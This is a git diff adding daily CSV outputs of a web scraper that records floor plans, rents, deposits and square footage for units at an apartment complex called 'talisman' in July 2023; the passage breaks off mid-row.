(1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230715,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230715,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230715,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230715,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230715,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230715,talisman,C5 (2x2),2 Bed 2 Bath,"$3,173",$300,934 - 984 sq.ft.,None,N/A +20230715,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230715,talisman,C1 (2x2),2 Bed 2 Bath,"$3,558",$300,1029 - 1294 sq.ft.,None,N/A +20230715,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230715,talisman,C7 (2x2),2 Bed 2 Bath,"$3,378",$300,1074 - 1131 sq.ft.,None,N/A +20230715,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,453",$300,1140 - 1185 sq.ft.,None,N/A +20230715,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230715,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230715,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230715,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,554",$300,1228 - 1296 sq.ft.,None,N/A +20230715,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230715,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230715,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230715,talisman,D1 (3x2),3 Bed 2 Bath,"$3,693",$300,1241 - 1362 sq.ft.,None,N/A +20230715,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230715,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230715,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230716.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230716.csv new file mode 100644 index 00000000000..796243d101b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230716.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230716,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230716,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230716,talisman,A10 (1x1),1 Bed 1 Bath,"$1,759",$300,578 - 665 sq.ft.,None,N/A +20230716,talisman,A1 (1x1),1 Bed 1 Bath,"$1,804",$300,604 - 671 sq.ft.,None,N/A +20230716,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230716,talisman,A3 (1x1),1 Bed 1 Bath,"$1,864",$300,609 - 642 sq.ft.,None,N/A +20230716,talisman,A2 (1x1),1 Bed 1 Bath,"$1,804",$300,617 - 715 sq.ft.,None,N/A +20230716,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230716,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230716,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230716,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230716,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230716,talisman,A4 (1x1),1 Bed 1 Bath,"$1,919",$300,713 - 716 sq.ft.,None,N/A +20230716,talisman,A5 (1x1),1 Bed 1 Bath,"$1,979",$300,734 - 739 sq.ft.,None,N/A +20230716,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,859",$300,745 - 828 sq.ft.,None,N/A +20230716,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230716,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230716,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230716,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230716,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230716,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230716,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230716,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230716,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230716,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230716,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230716,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230716,talisman,C5 (2x2),2 Bed 2 Bath,"$3,173",$300,934 - 984 sq.ft.,None,N/A +20230716,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230716,talisman,C1 (2x2),2 Bed 2 Bath,"$3,558",$300,1029 - 1294 sq.ft.,None,N/A +20230716,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230716,talisman,C7 (2x2),2 Bed 2 Bath,"$3,378",$300,1074 - 1131 sq.ft.,None,N/A +20230716,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,453",$300,1140 - 1185 sq.ft.,None,N/A +20230716,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230716,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230716,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230716,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,554",$300,1228 - 1296 sq.ft.,None,N/A +20230716,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230716,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230716,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230716,talisman,D1 (3x2),3 Bed 2 Bath,"$3,693",$300,1241 - 1362 sq.ft.,None,N/A +20230716,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230716,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230716,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230717.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230717.csv new file mode 100644 index 00000000000..97baa8c6e79 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230717.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230717,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230717,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230717,talisman,A10 (1x1),1 Bed 1 Bath,"$1,759",$300,578 - 665 sq.ft.,None,N/A +20230717,talisman,A1 (1x1),1 Bed 1 Bath,"$1,804",$300,604 - 671 sq.ft.,None,N/A +20230717,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230717,talisman,A3 (1x1),1 Bed 1 Bath,"$1,864",$300,609 - 642 sq.ft.,None,N/A +20230717,talisman,A2 (1x1),1 Bed 1 Bath,"$1,804",$300,617 - 715 sq.ft.,None,N/A +20230717,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230717,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230717,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230717,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230717,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230717,talisman,A4 (1x1),1 Bed 1 Bath,"$1,919",$300,713 - 716 sq.ft.,None,N/A +20230717,talisman,A5 (1x1),1 Bed 1 Bath,"$1,979",$300,734 - 739 sq.ft.,None,N/A +20230717,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,859",$300,745 - 828 sq.ft.,None,N/A +20230717,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230717,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230717,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230717,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230717,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230717,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230717,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230717,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230717,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230717,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230717,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230717,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230717,talisman,C5 (2x2),2 Bed 2 Bath,"$3,173",$300,934 - 984 sq.ft.,None,N/A +20230717,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230717,talisman,C1 (2x2),2 Bed 2 Bath,"$3,558",$300,1029 - 1294 sq.ft.,None,N/A +20230717,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230717,talisman,C7 (2x2),2 Bed 2 Bath,"$3,378",$300,1074 - 1131 sq.ft.,None,N/A +20230717,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,453",$300,1140 - 1185 sq.ft.,None,N/A +20230717,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230717,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230717,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230717,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,554",$300,1228 - 1296 sq.ft.,None,N/A +20230717,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230717,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230717,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230717,talisman,D1 (3x2),3 Bed 2 Bath,"$3,693",$300,1241 - 1362 sq.ft.,None,N/A +20230717,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230717,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230717,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230718.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230718.csv new file mode 100644 index 00000000000..8062a638f66 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230718.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230718,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230718,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230718,talisman,A10 (1x1),1 Bed 1 Bath,"$1,814",$300,578 - 665 sq.ft.,None,N/A +20230718,talisman,A1 (1x1),1 Bed 1 Bath,"$1,804",$300,604 - 671 sq.ft.,None,N/A +20230718,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230718,talisman,A3 (1x1),1 Bed 1 Bath,"$1,864",$300,609 - 642 sq.ft.,None,N/A +20230718,talisman,A2 (1x1),1 Bed 1 Bath,"$1,804",$300,617 - 715 sq.ft.,None,N/A +20230718,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230718,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230718,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230718,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230718,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230718,talisman,A4 (1x1),1 Bed 1 Bath,"$1,919",$300,713 - 716 sq.ft.,None,N/A +20230718,talisman,A5 (1x1),1 Bed 1 Bath,"$1,979",$300,734 - 739 sq.ft.,None,N/A +20230718,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,859",$300,745 - 828 sq.ft.,None,N/A +20230718,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230718,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230718,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230718,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230718,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230718,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230718,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230718,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230718,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230718,talisman,C2 (2x2),2 Bed 2 Bath,"$3,413",$300,1088 - 1243 sq.ft.,None,N/A +20230718,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230718,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230718,talisman,C5 (2x2),2 Bed 2 Bath,"$3,173",$300,934 - 984 sq.ft.,None,N/A +20230718,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230718,talisman,C1 (2x2),2 Bed 2 Bath,"$3,558",$300,1029 - 1294 sq.ft.,None,N/A +20230718,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230718,talisman,C7 (2x2),2 Bed 2 Bath,"$3,378",$300,1074 - 1131 sq.ft.,None,N/A +20230718,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,453",$300,1140 - 1185 sq.ft.,None,N/A +20230718,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230718,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230718,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230718,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,554",$300,1228 - 1296 sq.ft.,None,N/A +20230718,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230718,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230718,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230718,talisman,D1 (3x2),3 Bed 2 Bath,"$3,693",$300,1241 - 1362 sq.ft.,None,N/A +20230718,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230718,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230718,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230719.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230719.csv new file mode 100644 index 00000000000..181a0e6dc08 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230719.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230719,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230719,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230719,talisman,A10 (1x1),1 Bed 1 Bath,"$1,996",$300,578 - 665 sq.ft.,None,N/A +20230719,talisman,A1 (1x1),1 Bed 1 Bath,"$1,986",$300,604 - 671 sq.ft.,None,N/A +20230719,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230719,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230719,talisman,A2 (1x1),1 Bed 1 Bath,"$2,066",$300,617 - 715 sq.ft.,None,N/A +20230719,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230719,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230719,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230719,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230719,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230719,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230719,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230719,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,967",$300,745 - 828 sq.ft.,None,N/A +20230719,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230719,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230719,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230719,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230719,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230719,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230719,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230719,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230719,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230719,talisman,C2 (2x2),2 Bed 2 Bath,"$3,438",$300,1088 - 1243 sq.ft.,None,N/A +20230719,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230719,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230719,talisman,C5 (2x2),2 Bed 2 Bath,"$3,198",$300,934 - 984 sq.ft.,None,N/A +20230719,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230719,talisman,C1 (2x2),2 Bed 2 Bath,"$3,583",$300,1029 - 1294 sq.ft.,None,N/A +20230719,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230719,talisman,C7 (2x2),2 Bed 2 Bath,"$3,403",$300,1074 - 1131 sq.ft.,None,N/A +20230719,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,561",$300,1140 - 1185 sq.ft.,None,N/A +20230719,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230719,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230719,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230719,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,662",$300,1228 - 1296 sq.ft.,None,N/A +20230719,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230719,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230719,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230719,talisman,D1 (3x2),3 Bed 2 Bath,"$3,718",$300,1241 - 1362 sq.ft.,None,N/A +20230719,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230719,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230719,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230720.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230720.csv new file mode 100644 index 00000000000..9f32272157a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230720.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230720,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230720,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230720,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230720,talisman,A1 (1x1),1 Bed 1 Bath,"$1,885",$300,604 - 671 sq.ft.,None,N/A +20230720,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230720,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230720,talisman,A2 (1x1),1 Bed 1 Bath,"$1,965",$300,617 - 715 sq.ft.,None,N/A +20230720,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230720,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230720,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230720,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230720,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230720,talisman,A4 (1x1),1 Bed 1 Bath,"$2,000",$300,713 - 716 sq.ft.,None,N/A +20230720,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230720,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,807",$300,745 - 828 sq.ft.,None,N/A +20230720,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230720,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230720,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,877",$300,785 - 852 sq.ft.,None,N/A +20230720,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230720,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230720,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230720,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230720,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230720,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230720,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230720,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230720,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230720,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230720,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230720,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230720,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230720,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230720,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,401",$300,1140 - 1185 sq.ft.,None,N/A +20230720,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230720,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230720,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230720,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,502",$300,1228 - 1296 sq.ft.,None,N/A +20230720,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230720,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230720,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230720,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230720,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230720,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230720,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230721.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230721.csv new file mode 100644 index 00000000000..f3c922adc5b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230721.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230721,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230721,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230721,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230721,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230721,talisman,A11 